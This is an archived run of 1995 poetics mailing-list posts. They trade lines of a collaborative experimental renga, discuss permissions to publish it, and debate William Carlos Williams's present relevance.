460. **cris cheek**
Re: permissions on the 'ringa'
Thu 14 Sep 1995

Thomas Bell writes:

> *I'm not*
> *sure I agree with piecemeal publication - what is important*
> *here I think is the process rather than the content. It is*
> *fairly common to release material and progams to freeware*
> *or the punblic somain with the stipulaion that they only*
> *be released in their entirety. Other thoughts on this*
> *issue?*

The process, with its weird time delays and multiple branching almost every line is certainly fascinating - perhaps particularly for contributors. But then so are snapshots of that process. What I like about the 'ringa' (as in ringa the changes) are its morphabilities.

And 'punblic somain' is my nomination for typo of the week btw.

love and love
cris

↑ Index

461. **cris cheek**
Re: Sheila, Chris & Jorge's Excellent Adventure
Thu 14 Sep 1995

>Sheila wrote:
>Jorge wrote:
>> Chris wrote
>>> > Sheila wrote
>>> >> Jorge wrote:
>>> >> >Sheila wrote
>>> >> >Jorge wrote:
>>> >> >Sheila wrote
>>> >> >Jorge wrote:
>>> >> >Sheila wrote:
>>> >> >Jorge wrote:

>>> >> >In the books were dreams and in the dreams were books.And flew
>>
>> (...)
>>
>>> >> >hidden porchlight in the latitude that she has given his
>>> >> >longitude. Depth is directly stated. A signal slated to be read
>>> >> >ingratiates politicos and blond ones also shaven vortices but
>>> >> >does mangling exist or the circle is balboa plus expenses
>>> >> >cabinets away from lust and pedigree and shark fin soup
>>> >> >trailing stiffens buying tears for so many tendons
>>> >> demitassed to mean full-bodied wine with alcohol removed
>>> >spending the bulk of closure with sentient scoops
>>> that fluke picnic shot out of these worlds we spread been-to
>> say that the center cannot hold the nose tackle much longer
>than a clam can sleeve out of incarceration baldly
go where others fear to operate the biggest donors hive

↑ Index

462. Ken Edwards
UK poetry
Thu 14 Sep 1995

I've now heard from Romana Huk, who is organising that conference at the University of New Hampshire I mentioned before, on contemporary UK/Irish/US/Canadian poetry. She's asked me to say it'll take place on 28 Aug - 2 Sept 1996. Anyone interested in hearing more should contact her at UNH, Dept of English, Durham, NH 03824, tel [redacted]. She has some problem with her email at the moment but once she's online she's hoping to subscribe to this list.

- Ken

↑ Index

463. Herb Levy
David Ayre's rengas
Thu 14 Sep 1995

Last week, as you may recall, David Ayre promised to post, what was it, 54(?) pages of rengas. Always a man of his word, in the last few days, Ayre has done just that.

What I want to know is: how (& why) did he use so many different names and email addresses to post this remarkable flurry of rengas?

& why has he dropped the convention of keeping the word "renga" in the subject line for those (fools though they may be) who do not wish to read more rengas?

Herb Levy
[redacted]

↑ Index

464. Steven Howard Shoemaker
anagrams to the stars
Thu 14 Sep 1995

Forget about the old-timers like Keanu and Winona. I wanna know what wld happen if Alicia Silverstone met Leonardo DiCaprio?!

Alicia Silverstone=

Lave toe-nail. Crisis!

Leonardo Di Caprio:

Darn! Poor Leo. I, I cad!

Btw, i knew you guys were *really* into anagrams, even tho' nobody let on when i brought them up a while ago. S'ok 'cause i hereby volunteer to be the list's textual unconscious, at least until the next elections...

ss

↑ Index

465. Eryque Gleason
Re: Permission
Thu 14 Sep 1995

---

it seems that the oneline I posted killed a thread of the renga a couple weeks ago, so in a blind jealous rage I'm afraid that I can't let you publish it, or any of my contributions as a lurker either.

love,
  eryque

_____!_____
Eryque "Just call me Eric" Gleason If I weren't a monkey, there'd 71 E. 32nd St. Box 949 be problems. Chicago, IL 60616

[redacted]

↑ Index

466. **Jorge Guitart**
Re: Renga and the Far Write
Thu 14 Sep 1995

Daniel, thank very much for your concern. I am looking into Rengaholics Anonymous --there is a chapter here in Buffalo. I believe some of the members are former poetics list subscribers. I am about to contact Mike Boughn to see if he can give me some free counseling. But Sheila, no matter what happens, i promise to keep our excellent adventure alive!

On Thu, 14 Sep 1995, Daniel Bouchard/College/hmco wrote:

> *Jorge:*
>
> *Try to spend at least a couple of hours away from the computer screen. Isn't the weather nice where you are? Get outside a little. You're going to renga your health at this rate.*
>
> [redacted]

↑ Index

467. **Jorge Guitart**
Re: Sheila, Chris & Jorge's Excellent Adventure
Thu 14 Sep 1995

AS PROMISED

> *In the books were dreams and in the dreams were books.And flew*
>
> *(...)*
>
> *spending the bulk of closure with sentient scoops*
> *that fluke picnic shot out of these worlds we spread been-to*
> *say that the center cannot hold the nose tackle much longer*
> *than a clam can sleeve out of incarceration baldly*
> *go where others fear to operate the biggest donors hive*
> *& where Mars collides with the small world of "It's a small world"*

↑ Index

468. **Jorge Guitart**
anything exciting happened in my absence?
Thu 14 Sep 1995

---

i just returned from a long vacation in Aguas Buenas where i hung out with Victor Cruz. While I was gone, I lent my account to my friend David Ayre. He said he needed to send only one message to Herb Levy and that was it.

↑ Index

469. **Thomas Bell**
Re: this break will or will not not branch
Fri 15 Sep 1995

> *In the books were dreams and in the dreams were books.*
> *And flew through windows lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cum amusing against the*
> *in the end goes meerschaum on us till we blink ourselves to*

skipped some

>>creeping where the sublime is cows bathing in starlight. Give
>>temporality a rest, for widest space succombs to onslaughts of
>>hidden porchlight in the latitude that she has given his
>>longitude. Depth is directly stated. A signal slated to be read
>>ingratiates politicos and blond ones also shaven vortices but
>>does mangling exist or the circle is balboa plus expenses
>>cabinets away from lust and pedigree and shark fin soup
>>trailing stiffens buying tears for so many tendons
>>demitassed to mean full-bodied wine with alcohol removed
>>by trained leeches from under the rotting elastic, a feast
>>of swirling eddies with beaucoup of labia & confetti
>>starving time's scythe for water, matching colors to go
>crecheward into sweet line drawings clothed to world our
>eco-store with Mona wash and circa navigate the horn
incorporated Encyclopedia britannica incoroap corporations

↑ Index

470. **Thomas Bell**
Re: spike it with saussure - begins the intramix...
Fri 15 Sep 1995

>In the books were dreams and in the dreams were books.
incorporating the end of timewarps and troves treasured

.

↑ Index

471. Thomas Bell
Re: this break will or will not not branch
Fri 15 Sep 1995

>>>In the books were dreams and in the dreams were books.
>>>And flew through windows incorporating life as we new
lyweds truly begotten gathered to elect a

↑ Index

472. Sheila E. Murphy
Re: Sheila, Chris & Jorge's Excellent Adventure
Fri 15 Sep 1995

>AS PROMISED
>
>> >>> >> >In the books were dreams and in the dreams were books.And flew
>> >>
>> >> (...)
>> >>
>> >>> >spending the bulk of closure with sentient scoops
>> >>> that fluke picnic shot out of these worlds we spread been-to
>> >> say that the center cannot hold the nose tackle much longer
>> >than a clam can sleeve out of incarceration baldly
>> go where others fear to operate the biggest donors hive
>> & where Mars collides with the small world of "It's a small world"
ripe for macroscopes to pump or slice or butterfly away

↑ Index

473. Ron Silliman
Re: spike it with saussure - begins the intramix...
Fri 15 Sep 1995

For the NYC Greenwich Village Halloween Parade, I need cat screams, most ideally cats in heat, but any old screams, yowls, howls, loud meows would be great. In the books were dreams and in the dreams were books. And flew through windows '95 Marlin Loins lightning green, a fine morning First detrevni whistle of a cardinal in the poplar The book and the old boy on the grass under sun and cloud Go endless, an obtuse cellar blue, it binds The caravan of endowments to what they flee These space curtains, more gauze than bondage, more Boloe than aware, spin-art and pebbling but narrow in the face or foppish

Sunday Hilda oh! Airy Hemp Lush over coffee copped a kiss, the Times blowing & opining, heavy humid air, we musing against the bleached ribcage ripcorded into compassed wind missing the violinist between her rests as she indexes fracas problem: tool shacks, landscape of Zorro son of thunderhead and the storm in the steel glass s halfway pertinent incision we keep making (I denied not knowing how cadenza was meant) & Neapolitan pockets in small furniture intended house chance several mountains away but it wasn't, you know, a big tango when the attorney general came, said amen, "Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit texture so to speak was at the cleaners hot and stubble somewhere unnoticed, chirping presence the chair is sad, alas, Inroad Mama, i've lusted tootles' livers the detour a cello a day dishevels a boat cold otter chose in the core slaughter because we're waiting all throughout eternity for solos to be of such suchness - Relaxed Renal Scar in the nooks were creams and in the stream were hooks All models like films about their friends in pastel of darkness falling like an afghan around the manatee. Likewise seems sandpaper huckster with seesaw inchworms and recently soft brute of subject's object status, violent transformation la Ste. Therese into beaming cumulus hapax switchback and in the u-turns were bookmobiles rounding angels considered shrill as I'm left in the acres to be aging flutes sing fender-benderless in trio, h-h-h-holy cow! effort really is or is not, fast enough to sleep through thunderstorms, arm over thigh until light shakes petals free of names that rain across known skin forgotten alive in our hearse hurts, projective nurse if she is to go ahead And, with a shout, collecting coat hangers Groin Going Boo saunters pentecostal, operator will you cockpit out, transplanted organs speak, "arf!" the idiom inseams, a snare as solvently unequal-- the power uncreased although each snare still trembles QuarkXpress which explains why the sump is busted and why he preferred Hole to afternoons on the phone with that carp, a cousin on the moon, remember the needy capable of keeping the canoe right way up in the cool prose of the upper Hudson, dinner's at seven so start swimmin, bud: "lay me down in a wetsuit, heats me up the porridge," it's like a huge typo of familiarity. I am storing valence for later use I know the war-whoop in each dusty arrogance among the choruses and the different people Char, Lee, Parr, Kerr, everybody is Hokey Pokey collecting the very boring nouns that come in on the breeze delicate lace flies tied by Pelican Bill, yo, in the house, of narration with part of good moisture. Here, bile, sopor, ebullience is a token gesture of the sauced, Red Stuff. I have a lot of duodenum. In the freezer we can defend some woods on a snowy evening, my yellow rose is lovely dark and deep as penitence, but let's elude the shakes and drear, get lost in our palaver. Have? Will not a binge of harmony which in the end go "meerschaum" on us till we Tempest ourselves to bearings where the heiress is cows bathing in starlight. Give the poor temp a rest, for widest space succombs to onslaughts

of hidden porchlight in the platitude that she has given his longitude. Depth is directly stated. A signal slated to be canonized elevates politicos and blond ones also raving vortices but does hang-gliding exist or is the circle a bulb of "plus" expenses cabins away from "Flash and Filligree" and "Goat's Head Soup" travel stiffly by the tears for so many tendons documentary to mean full body winter with alcohol removed sending the bulk of closure with sentient loops but my nerves are excellent tonight: Check Sire in the coin-op kiln on Sullen Street with my Saint Chris pendant and my legroom pedalled to half willing mendicants For the NYC Greenwich Village Halloween Parade, I need cat screams, most ideally cats in heat, but any old screams, yowls, howls, loud meows would be great.

↑ Index

474. **Ron Silliman**

Re: RENGA SUGGESTION (PLEA! FREE US UP!)

Fri 15 Sep 1995

Count me (one who pays for net access) as anti-ellipsoid. It turns rengas into "virtual rengas" and, lord knows, they're virtual enough as it is.

↑ Index

475. **cris cheek**

Re: Sheila, Chris & Jorge's Excellent Adventure

Fri 15 Sep 1995

>>AS PROMISED
>>
>>> >>> >> >In the books were dreams and in the dreams were books.And flew
>>> >>
>>> >> (...)
>>> >>
>>> >>> >spending the bulk of closure with sentient scoops
>>> >>> that fluke picnic shot out of these worlds we spread been-to
>>> >> say that the center cannot hold the nose tackle much longer
>>> >than a clam can sleeve out of incarceration baldly
>>> go where others fear to operate the biggest donors hive
>>> & where Mars collides with the small world of "It's a small world"
>ripe for macroscopes to pump or slice or butterfly away
from that ardent bugged heliotrope and pledge allegiance through

↑ Index

476. **cris cheek**
Re: this break will or will not not branch
Fri 15 Sep 1995

>>>>In the books were dreams and in the dreams were books.
>>>>And flew through windows, lightning green and fine morning
[savage edit]
>>>>demitassed to mean full-bodied wine with alcohol removed
>>>>by trained leeches from under the rotting elastic, a feast
>>>>of swirling eddies with beaucoup of labia & confetti
>>>>starving time's scythe for water, matching colors to go
>>>crecheward into sweet line drawings clothed to world our
>>words for water, falling four blocks away, finally, a gulf
>between perceived and rinsing water, shroud and comforter,
flogging proud wet stones with patchwork flags making tenement hum

↑ Index

477. **Ron Silliman**
Re: RENGA SUGGESTION (PLEA! FREE US UP!)
Fri 15 Sep 1995

I pay for access but am anti-ellipsoid. These rengas are virtual enough as it is.

Personally, I think that any publication of them should credit Araki Yasusada.

↑ Index

478. **H. T. KIRBY-SMITH**
Renga permissions
Fri 15 Sep 1995

I had to go off for a few days and while I was gone the explanations of who wrote the renga have thmselves taken on a renga-like proliferation. As soon as I can sort out what I have been told I will post what I have figured out so that people can make additional claims or else ask not to be included.

I wonder who was the first person who brought a piece of kudzu from Japan--just a random thought.

I do realize that the renga is an ongoing process and that anything printed outside this list is reportage rather than publication. But it might set an example that would help make so-called "workshops" more fun. Despite its oriental model it seems to me a very new world thing, like roof-raisings and potluck suppers.

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

479. **Edward Foster**
Re: you & whose army?
Fri 15 Sep 1995

---

dear m: wcw "modernized" himself by not writing like keats. keats' generation was to wcw's what wcw's is to now. olson (born before WWI) lived in wcw's world. we don't. the century's nearly gone. should we still be listening to wcw? -e

↑ Index

480. **Edward Foster**
Re: you & whose army?
Fri 15 Sep 1995

---

dear m: actually, did teach spring & all last year, will do american grain this. but am doing it to suggest certain transformations in ideas about poetry and view of the past that have yellowed, dated. american grain: very dated. -e

↑ Index

481. **Edward Foster**
Re: Red Wheelbarrow
Fri 15 Sep 1995

---

no, bill, i feel more like wells, esp. on this chatline, ducking bullets.

↑ Index

482. **Edward Foster**
Re: use narrative engines
Fri 15 Sep 1995

---

ya, and in Iowa they still think wcw is cream cheese. stopped for breakfast in des moines this summer and asked for silliman-on-toast or bruce-andrews-popovers but was given wcw on a bagel. said, what's this white sauce? was corrected, fast.

↑ Index

483. **Edward Foster**
Re: inquiry from the unlettered
Fri 15 Sep 1995

---

aldon: i fear he's a clone who can't spell. ulp.

↑ Index

484. **Jeffrey Timmons**
Re: you & whose army?
Fri 15 Sep 1995

On Fri, 15 Sep 1995, Edward Foster wrote:

> dear m: wcw "modernized" himself by not writing like keats. keats' generation was to wcw's what wcw's is to now. olson (born before WWI) lived i n wcw's world. we don't. the century's nearly gone. should we still be listening to wcw? -e

Short answer? Yes.

Jeffrey Timmons

↑ Index

485. **Aldon L. Nielsen**
Re: signs taken for wonders
Fri 15 Sep 1995

---

current _Voice Literary Supplement_ gives an entire page to Gustaf Sobin"s new books -- including nice notice indeed of the Talisman selection -- thanks for putting out another good book to Ed Foster -- amazing what people can do with a little bit of boredom --

--A.nother Nielsen

↑ Index

486. **Louis Cabri**
funkin around
Fri 15 Sep 1995

Enryque, you were joshing yea, but for me it's, joshing, the point, to write a line that cannot be written past and that at the same time asks you invites you to try with everything you may find.

That would cut down on the numbers of em, too. I'm antiellipsoidal - sorry, translator. The translation has got to be total. But their quantity by soloists -

If fewer posts were posted each day from each, then this would ease the pay-per-line situation, and also alleviate the occasional clog that the listserv owner has had to roto-root for us - talkin about paying for the service! 50 different posters each day would mix well in a punbliquity of unanimous outrage.

Of course it seems that explicit rules are anathema to the implicit rules of this listserv that constitute it as it is, so no doubt these suggestions as with every other are simulateously asking you to not write past them and inviting you to do so with everything you find at hand - the keyboard body. You've got a keyboard body, it could be rad.

Steve, thank you for your Adorno quotes. The lectures on Hegel as a poetic for modernity, can you expand the analogy? As Butler speaks of girling the girl, we need to enverb Adorno and Hegel.

Juliana re: identification - "grasping the process of the thing through sympathetic identification" (Wesling), it's the post Romantic literary & extraliterary convention de luxe (psychoanalysis become a global process of capital, to para Andrews)? where it is ultimatley the self that has become the thing? the reified thing that needs persistent jumpstarting? Born again, Id Rave Day!

Socket to the thing?

↑ Index

487. Jorge Guitart
Re: ahem Chaim subroutine hawk stichic II
Fri 15 Sep 1995

---

variations on a theme by Chris
by Jorge

> >> > >moods of a snoring sibling, my Jello rows are lonely,sharp & steep
v> >> > >as pestilence but let's exhume the cakes and gears seth
your palaver. Hawk? Will not a tinge of irony switch
> >> > in tents go "weltausschaung" on us till we tenant ourselves to
> >> > >bearings where the heiress is chaos landing in barlight. Give
> >> > >the poor Clem a chest, for stareinspace forgoes the thoughts of
> >> > >hidden porchlight in the solicitude that she has given his
> >> > boyhood. Dearth is directly sated. A cymbal rated to be ionized
> >> > >renovates porticos and blood Huns also sprach Sarah Tustra but
> >> > >does Hans Glanding exist or is the cricket a glob of club senses
> >> > >cackling away frost, pasha and pedigree and Godhead Soup
> >> > >trammeled swiftly by the fears of so many did't know D had undone
> >> > elementary to seem full, coaty tincture with aloe subsumed>

>> mending the Hulk of Brochures with sterner boobs
> >> but my verbs are excellent tonight: I sired Betty Barnyard
> \ far beyond the testy Nellie whom the Engels called Chador
  & the lamb presents cogent objections in bleat to his blood

↑ Index

488. **Burt Kimmelman**
Re: you & whose army?
Fri 15 Sep 1995

---

dear ehf,

american grain good ol' wine

↑ Index

489. **Charles Alexander**
Re: you & why an army?
Fri 15 Sep 1995

---

ed & jeffrey: does this mean that reading keats is absolutely out of the question. Or, given the postmodern pastiche of time, should we read wcw as keats would have read him? just as long as neither has to be filtered through renga.

charles

↑ Index

490. **Herb Levy**
Re: you & whose army?
Fri 15 Sep 1995

Ed -

Why didn't they use the rainwater in the wheelbarrow to put out that fire?

Herb Levy
[redacted]

↑ Index

491. **Gwyn McVay**
Curbstone
Fri 15 Sep 1995

Like I said, please say hi to Claribel for me. I'm mad at myself because I meant to bring my copy of _Flowers_ to class for you to have her sign. Oh well. Also

please say hi to Sandy and that nice kid Bob if he still works for him. They were both so nice to me last year.

g.

↑ Index

492. **Edward Foster**
Re: you & whose army?
Fri 15 Sep 1995

---

actually, jeffrey, we should listen to wcw, but do it the way wcw listen to keats. as i recall, wcw's book of keatsian poems were stored in a chicken coop, which burned. but then, w adopted/adapted rimbaud, who was also dead. new era in 5 yrs.

↑ Index

493. **Gwyn McVay**
Re: you & whose army?
Fri 15 Sep 1995

To get to the other side!

Gwyn

On Fri, 15 Sep 1995, Herb Levy wrote:

> *Ed -*
>
> *Why didn't they use the rainwater in the wheelbarrow to put out that fire?*
>
> *Herb Levy*
> [redacted]

↑ Index

494. **Edward Foster**
Re: you & whose army?
Fri 15 Sep 1995

---

burt: you can't make wine from grain. anyway, what's this fear of leaving wcw behind? or at least leaving him in the classroom? i have a feeling that of that trio--ep, hd, wce--it's hd (of trilogy) who offers most now. -ed

↑ Index

495. **George Bowering**
Re: RengaCheck
Fri 15 Sep 1995

I put a version of the renga thru grammar check, which kept politely suggesting that various parts of it did not seem to be complete sentences. I told it there was no such thing in this people's universe, and it compromised with this:

In the books were dreams and in the dreams were books.
And flew through windows lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spondee and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cum amusing against the
bleached ribcage ripcords into compassed wind
kissing the weatherman between her beasts as she
gives gracious problem: fanatical snacks, landscape of
flicker son of thunderhead and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
(inspection denied for not knowing how credenza was meant) &
neo-colonizing pockets in small furniture intended house
sequentially several mountains away but it wasn't, you know, a
big tango when the attorney general came, seal hales said,
"Dias,oh,ho kook!"Edward Kennedy Wellington! "Tooting' Through the
Roof" Tobacco warehouse, curls no ideas but the woven fabric the
texture so to speak was at the dry cleaners piping hot and
gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and Ive lusted toothless' livers the odor
day toy a cello day dice chivvies a boa coo daughter chose encore
Flaubert because we're waiting all throughout
Eternity for moments to be of such sauciness.
In the nooks were creams and in the stream were hooks
All melded like striated film leftover in the pastel seeds
Of darkness falling like a counterirritant around the manchineel.
Likewise seams sandpaper juxtaposed with seasoned instruments and
recently soft fruit of subject's object status, violent
Transformation la Set. Theorize into beaming cumulus apokoinu
switch back and in the u-turns were bookmobiles rounding angles

considered shrill as pine left in the acres to be aging
flawlessly, flutes sing gendarmes in trio, surprised by how quiet
effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope Pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as slovenly unequal-- the power
uncrossed although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimming, bud: "lay me down in a wet suit,
heats me up in the sleaze," it's like a huge dose
Of familiarity. I am storing radiance for later use
I know the war-whoop in each dusty narrative
among the invoices and the difference engines
Char, Lee, Pap, Keg, everybody is here and there
collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
Of narration with partners of good moisture. Here,touch my
Ebullience with a token gesture of sauce, of the red stuff.
I have a lot of Dundee in the freezer & we can defrost some
woods on a snowy evening, my horse is lovely dark and deep
as penitence, but let's elude the shakes and drier, get lost in
our palaver have tongue will travel not a binge of harmony which
in the end goes meerschaum on us till we blink ourselves to
Creeping where the sublime is cows bathing in starlight. Give
temporality a rest, for widest space succumbs to onslaughts of
hidden porch light in the latitude that she has given his
Longitude. Depth is directly stated. A signal slated to be read
ingratiates politicos and blond ones also shaven vortices but
does mangling exist or the circle is bleb plus expenses
cabinets away from lust and pedigree and shark fin soup
trailing stiffens buying tears for so many tendons
demitasses to mean full-bodied wine with alcohol removed
by trained leeches from under the rotting elastic, a feast

of swirling eddies with beau coup of labia & confetti
starving time's scythe for water, matching colors to go

↑ Index

496. **George Bowering**
Re: anagrams to the stars
Fri 15 Sep 1995

Edward Foster = Redraft Dowse

↑ Index

497. **George Bowering**
Re: Hello Ayre Heads
Fri 15 Sep 1995

I want to go on record as saying that I have never been in the same room with David Ayre.

He always made me do it in a meadow. Damned Romantic nature poets.

↑ Index

498. **George Bowering**
Re: Sheila & Jorge's Excellent Adventure
Fri 15 Sep 1995

"Ufgh!"

"Aw!"

"Here?"

"Nnngh!

"Oh!

↑ Index

499. **Jorge Guitart**
Re: spike it with saussure - begins the intramix...
Fri 15 Sep 1995

On Thu, 14 Sep 1995, Thomas Bell wrote:

> *In the books were dreams and in the dreams were books.*
> *incorporating the end of timewarps and troves treasured*
> *the mercator projection of horniness and thou; for thou is*

↑ Index

500. **Jorge Guitart**
Re: Sheila, Chris & Jorge's Excellent Adventure
Fri 15 Sep 1995

On Thu, 14 Sep 1995, Sheila E. Murphy wrote:

> >AS PROMISED
> >
> >> >>> >> >In the books were dreams and in the dreams were books.And flew
> >> >>
> >> >> (...)
> >> >>
> >> >>> >spending the bulk of closure with sentient scoops
> >> >>> that fluke picnic shot out of these worlds we spread been-to
> >> >> say that the center cannot hold the nose tackle much longer
> >> >than a clam can sleeve out of incarceration baldly
> >> go where others fear to operate the biggest donors hive
> >> & where Mars collides with the small world of "It's a small world"
> ripe for macroscopes to pump or slice or butterfly away
  and the nominal cloud will devoice the strange case of God

↑ Index

501. **Jorge Guitart**
Re: Sheila, Chris & Jorge's Excellent Adventure
Fri 15 Sep 1995

On Fri, 15 Sep 1995, cris cheek wrote:

> >>AS PROMISED
> >>
> >>> >>> >> >In the books were dreams and in the dreams were books.And flew
> >>> >>
> >>> >> (...)
> >>> >>
> >>> >>> >spending the bulk of closure with sentient scoops
> >>> >>> that fluke picnic shot out of these worlds we spread been-to
> >>> >> say that the center cannot hold the nose tackle much longer
> >>> >than a clam can sleeve out of incarceration baldly
> >>> go where others fear to operate the biggest donors hive
> >>> & where Mars collides with the small world of "It's a small world"
> >ripe for macroscopes to pump or slice or butterfly away

> from that ardent bugged heliotrope and pledge allegiance through
ostension--we stopped short of the shortstop stigmata

↑ Index

502. **Jeffrey Timmons**

Re: you & an army of mixed metaphors and forgotten half-truths...

Fri 15 Sep 1995

On Fri, 15 Sep 1995, Charles Alexander wrote:

> *ed & jeffrey: does this mean that reading keats is absolutely out of the question. Or, given the postmodern pastiche of time, should we read wcw as keats would have read him? just as long as neither has to be filtered through renga.*

Ha. And what would that kind of reading be? Yes, I have to agree with Ed that HD is probably the most important of them--ep, hd, wcw--at the moment, but wcw is (partially) important in american poetics (if I can hazard such a generalization) because of his mainstreaming of an avant-garde aesthetic. Maybe the wheelbarrow is a little boring, but, geez, it's neat isn't it? I mean, I see Emerson and Thoreau in him . . . and I always dig that. As I suggested, though, I am interested in WCW for not only the clarity and and simplicity, the laconic reduction of language to its essentials, which still retains such resonance and suggestive possibilities, but, also, because of his investment in an avant-garde, modernist tradition. HD and EP do not, I believe, offer that same perspective. I am interested in the WCW of Spring And All--the prose/poem version, with its absurdity and weirdness. Where else in the, now, mainstream tradition do you find that? Eliot doesn't count--expat and all. What is valuable is WCW--were we in need of qualifying this--is that he, not single-handedly mind you, reoriented american poeticx: "Writing is not a searching about in the daily experience for apt similes and pretty thoughts and images. I have experienced that to my sorrow. It is not a conscious recording of the day's experiences "freshly and with the appearance of realilty"--This sort of thing is seriously to the development of any ability in a man, it fastens him down, makes him a--It destroys, makes nature an accessory to the particular theory he is following, it blinds him to the world . . . . " I would hazard to say that without WCW american poetics would have lacked an important influence in turning itself away from an ideology of verisimilitude. If we are to read anyone we need to read them in a way that makes them not only part of their context but as how t relevant to our present. Better WCW than longfellow....

Jeffrey Timmons

↑ Index

503. Sheila E. Murphy
What? Me? A Renga Problem...NAW!
Fri 15 Sep 1995

> *Daniel, thank very much for your concern. I am looking into Rengaholics Anonymous --there is a chapter here in Buffalo. I believe some of the members are former poetics list subscribers. I am about to contact Mike Boughn to see if he can give me some free counseling.*
> *But Sheila, no matter what happens, i promise to keep our excellent adventure alive!*

Me, too, Jorge!

SEM

↑ Index

504. Thomas Bell
Tale of Grengaji I
Sat 16 Sep 1995

In the books were dreams and in the dreams were books. And flew through windows '95 Marlin Loins. Lightning green first dawning. A fine morning. First detrevni whistle of a cardinal in the popular book. Old boy on grass. Under sun and cloud. Go endless obtuse.

Cellar blue binds caravan endowments. What they flee, these space curtains, more gauze than bondage, more boloed than aware, spin-art. Pebbling narrow in the face or foppish. Sunday Hilda....

Oh! Airy hemp lush copped a kiss over coffee. Sunday The Times blowing & opining. Heavy humid air, we musing against the bleached ribcage ripcorded into compassed wind missing the violinist between her rests as she indexes. Fracas problem: tool shacks. Landscape of Zorro son of thunderhead and the storm in the steel. Glass halfway pertinent incision we keep making (I denied not knowing how cadenza was meant).

& neapolitan pockets in small furniture intended house chance several mountains away but it wasn't, you know, a big tango when the attorney general came, said amen, "Dias,oh, ho kook!" Xanthippe Ellington! "Tootin' through the roof" Tobacco warehouse curls no rabbit/rabbit/rabbit/rabbittexture. so to speak. At the cleaners hot and stubble somewhere unnoticed. Chirping presence is sad, The chair, alas. Inroad Mama lusted tootles' livers detour.

A cello a day dishevels a boat cold otter chose in the core, Slaughter because we're waiting all throughout eternity for solos to be. Such suchness. Relaxed renal scar in the nooks creams in the stream. Hooks, models like films about their friends in pastel of darkness falling. An afghan around the

manatee.likewise seems. Sandpaper huckster with seesaw inchworms and recently. Soft brute of subject's object status, violent transformation. Ste. Therese into beaming cumulus hapax switchback. In the u-turns were bookmobiles rounding. Angels considered shrill as I'm left in the acres. Aging flutes sing fender-benderless in trio, h-h-h-holy cow! Effort really is or is not fast enough to sleep through thunderstorms. Arm over thigh until light shakes petals free of names that rain across known skin forgotten alive in our hearse hurts. Projective nurse if she is to go ahead, and with a shout, collecting coat hangers groin going boo saunters pentecostal, operator will you cockpit out, transplanted organs speak,

"arf!."

↑ Index

505. **Tenney Nathanson**
(no subject)
Sat 16 Sep 1995

> *Date: Fri, 15 Sep 1995 04:21:32 -0700*
> *From: Ron Silliman <[redacted]>*
> *Subject: Re: spike it with saussure - begins the intramix...*

yow! (the elliptoided cadenza, not the header above)

↑ Index

506. **Tenney Nathanson**
(no subject)
Sat 16 Sep 1995

>Date: Fri, 15 Sep 1995 11:27:47 -0500
>From: Edward Foster <[redacted]>
>Subject: Re: you & whose army?
>
>dear m: wcw "modernized" himself by not writing like keats. [keats' generation wa
>s to wcw's what wcw's is to now. olson (born before WWI) lived in wcw's world. w
>e don't. the century's nearly gone. should we still be listening to wcw? -e]

well sure but the fact that he always remained a very keatsian poet didn't make him a(n even) less interesting poet (than you apparently find him). Doan read no Keats no mo? (how is you spell po-ems, man?)

↑ Index

507. **Tenney Nathanson**
(no subject)
Sat 16 Sep 1995

>Date: Fri, 15 Sep 1995 11:30:16 -0500
>From: Edward Foster <[redacted]>
>Subject: Re: you & whose army?
>
>dear m: actually, did teach spring & all last year, will do american grain this.
> but am doing it to suggest certain transformations in ideas about poetry and vi
>ew of the past that have yellowed, dated. american grain: very dated. -e

no doubt. Paterson, a whole lot less so (the Grosse Fugue, even less so, as I think it was Schonberg more or less remarked)

reporting diarrheal disturbance w/o fear of economic reprisal....

been to hell in a boat yet?

hi to Bob Packard btw (?)

↑ Index

508. **Tenney Nathanson**
(no subject)
Sat 16 Sep 1995

>Date: Fri, 15 Sep 1995 15:32:00 -0500
>From: Edward Foster <[redacted]>
>Subject: Re: you & whose army?
>
>burt: you can't make wine from grain. anyway, what's this fear of leaving wcw be
>hind? or at least leaving him in the classroom? i have a feeling that of that tr
>io--ep, hd, wce--it's hd (of trilogy) who offers most now. -ed

exfoliate you must?

↑ Index

509. **Tenney Nathanson**
(no subject)
Sat 16 Sep 1995

> *Date: Fri, 15 Sep 1995 14:56:51 -0500*
> *From: Charles Alexander <[redacted]>*
> *Subject: Re: you & why an army?*
>
> *ed & jeffrey: does this mean that reading keats is absolutely out of the question. Or, given the postmodern pastiche of time, should we read wcw as keats would have read him? just as long as neither has to be filtered through renga.*
>
> *charles*

well, you have just entered the koan bizniz. really lovely to contemplate (what you said, not you in the koan biz, though that too)

↑ Index

510. **Rod Smith**
Re: you & what army
Sat 16 Sep 1995

This talk is boring. Not WCW. Very few poets have done anything to rival Asphodel. (I mean besides David Ayre.) Much less the work in Imaginations.

"All I said was:
there, you see, it is broken"

Next thing you'll be saying O'Hara's old hat.

"Either that or a bullet !"

↑ Index

511. **Ken Edwards**
WCW and whose army
Sat 16 Sep 1995

